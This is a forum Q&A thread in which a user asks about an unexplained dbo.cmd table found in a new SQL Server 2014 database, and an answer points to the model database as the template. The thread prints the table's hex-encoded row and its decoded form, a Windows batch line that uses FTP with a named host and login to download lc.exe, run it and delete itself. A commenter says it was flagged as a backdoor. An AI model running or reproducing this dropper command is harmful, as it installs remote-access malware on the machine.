1

I am creating a new database using the UI in SQL Server 2014 and when I open the tables it already has a table dbo.cmd as:

CREATE TABLE [dbo].[cmd](
    [a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]

It also has one row inserted as:

0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974

I tried converting this into string and I got this:

@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit

After focusing on this I found out that its a bash script and I tried executing the bash script and I got a file lc.exe in my folder %systemroot%/Help/lc.exe, I have not yet executed the last command from the script:

lc.exe&del %0%&exit

What is this? I have tried searching for this but could not find anything. I have no idea what's happening here, how can I figure this out?

7
  • 1
    how did you create the database ? with a script, with the UI, a restore, etc... ?
    – irimias
    Commented Dec 30, 2016 at 10:32
  • 2
    Does this table exist in the model database? Is lc.exe malware? Commented Dec 30, 2016 at 10:33
  • @irimias using the UI Commented Dec 30, 2016 at 10:35
  • 2
    Well you assume it deleted itself. It might have just moved itself to a different location. I would ensure you are not infected with any malware. Although by now there is a slight possibility that you might have a root kit installed on your system.
    – John K. N.
    Commented Dec 30, 2016 at 12:37
  • 1
    I just downloaded that file out of curiosity and windows defender instantly quarantined it as Backdoor: Win32/Zegost.AD Commented Dec 30, 2016 at 14:21

1 Answer 1

8

If your main question is - why do you already have a table (with data) in a newly created database...?

All newly created Sql Server databases use the MODEL database as a template. Therefore, I would expect to find dbo.cmd (with the data) already existing in the MODEL database. Can you verify?

My guess is - someone in the past created dbo.cmd 'accidentally' in the MODEL database.

2

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.